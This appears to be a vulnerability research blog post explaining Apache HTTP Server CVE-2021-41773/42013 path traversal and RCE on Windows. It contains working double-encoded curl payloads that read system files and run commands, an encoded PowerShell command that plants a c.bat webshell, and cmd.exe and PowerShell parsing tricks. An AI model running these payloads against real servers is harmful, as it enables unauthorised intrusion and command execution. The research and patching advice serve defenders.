Prologue
Apache HTTP Server has been the gold standard across the world for decades due to its cross-platform nature and ease-of-use and therefore, it is also the target of plenty of threat actors and exploit researchers. Given the recent disclosure of CVE-2021-41773 and CVE-2021-42013 and the nature of its high severity, numerous outlets have already made a writeup for demonstrating their capabilities.
However, since most of the writeups have primarily focused on the Linux aspect of the vulnerabilities, some may not be aware that platforms such as Windows is just as vulnerable as well. In the following post, we’ll go over how these vulnerabilities can be utilized against Windows hosts with vulnerable Apache HTTP Server.

How Does it Work?
Researchers found that by crafting a special HTTP request, Apache HTTP server can be tricked into creating a path traversal attack or remote code execution (RCE). The following curl commands demonstrate how these two attack methods can be recreated :
Payload 1: Local file inclusion via path traversals
curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"Payload 2:Remote code execution via path traversals
curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"Root Cause Analysis
Given the requests shown above, we can see that despite the effort put into fixing the vulnerabilities in Apache HTTP Server 2.4.50, the CVEs can still be reproduced by double-encoding the request. When handling external HTTP requests, the Apache server will pass the request to
ap_process_request_internal to parse the URL path. In the said method, ap_normalize_path and ap_unescape_url are called. However, both of these methods will decode the path when handling the input.Fig 1. is a diff between 2.4.49 and 2.4.50. As one could see, the proposed fix was to handle abnormal characters like
%2e. Unfortunately, the fix was only implemented in one of the aforementioned methods. Therefore, one could easily bypass this fix by double-encoding the path.
After double-encoding our paths, we get:
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/shhttp://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/shBy decoding the path twice…
http://127.0.0.1/icons/../../../../../../../../../../bin/shBased on this improper fix, we can see that Apache HTTP Server did not properly validate and normalize the paths, leading to our successful payload execution.
Next, we’ll talk about how these vulnerabilities can be applied on Windows.
PoC on Windows
- The following demo uses a vulnerable version of the Apache HTTP Server at the IP
192.168.56.161
Payload 1: Local File Inclusion via Path Traversal
C:/Windows/win.ini could be read using this attack vector, as shown in Fig. 2.
Payload 2:Remote Code Execution
Through
cmd.exe, we can use PowerShell to write a c.bat file under C:\Users\Public. You might notice that Apache HTTP Server will return with a 500 Internal Server Error (see Fig. 3), that is primarily due to not having a proper HTTP header response from the CGI - in reality, the script did successfully go through and ran on the target host.
We can then specify any command that we desire through this
c.bat file.
Here’s what it looks like under Process Monitor:
Note that even if there are special characters in the arguments,
cmd.exe can still properly execute the command thanks to how cmd parses its arguments.cmd.exe magic parser
Under normal circumstances, processes with quoted argument including optional switches shouldn’t be able to run properly - yet,
cmd.exe was able to run with our /c argument quoted. We delve deeper in order to understand how cmd.exe was able to achieve this.- Parser documentation from the help
/?switch

- Surprise!

| Command | Similar |
|---|---|
cmd.exe "/c dir" | cmd.exe /c dir" |
cmd.exe "/c dir " | cmd.exe /c dir " |
cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir | cmd.exe /c dir |
cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir " | cmd.exe /c dir " |
cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir | cmd.exe /c dir |
cmd with powershell.exe
| Command | Result |
|---|---|
powershell.exe -c write-output 1 | 1 |
powershell.exe -c write-output "1 | 1 |
powershell.exe -c write-output 1" | 1 |
powershell.exe -c write-output ""1 | 1 |
powershell.exe -c write-output 1"" | 1 |
powershell.exe -c write-output """ | The string is missing the terminator: ". |
powershell.exe -c write-output "1"" | The string is missing the terminator: ". |
powershell.exe -c write-output ""1" | 1 |
powershell.exe -c write-output "1"1" | 11 |
powershell.exe -c write-output """" | The string is missing the terminator: ". |
powershell.exe -c write-output "1""1" | The string is missing the terminator: ". |
powershell.exe -c write-output """"" | The string is missing the terminator: ". |
powershell.exe -c write-output """1""" | 1 |
powershell.exe -c write-output """"1""" | 1 |
powershell.exe -c write-output """1"""" | 1 |
powershell.exe -c write-output """1""""" | 1 |
powershell.exe -c write-output """""1""" | 1 |
powershell.exe -c write-output """1""""""2""" | 1"2 |
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA | The string is missing the terminator: ". |
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA== | 1 |
powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA== | 1 |
powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA== | 1 |
powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA== | 1 |
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==" | 1 |
powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA== | 1 |
powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="" | 1 |
powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==" | 1 |
Using PowerShell to Write C:\Users\Public\c.bat
Encoded command through the
-EncodedCommand switch:- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA
Decoded script:
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.batPatches & Remediation
- Update Apache HTTP Server to the latest version (2.4.50+)
Appendix: Working with CGI
demo.bat
@echo off && echo Content-type:text/plain && echo.
echo %1test with demo.bat
- Remote shell execution

-Decode special characters


- Identical to the system output

References
*Image courtesy of Pixabay: Pixabay
Related Post
Security Alerts
2022.03.30
【TeamT5 Flash Alert】Spring Core RCE 0-Day Vulnerability
vulnerability research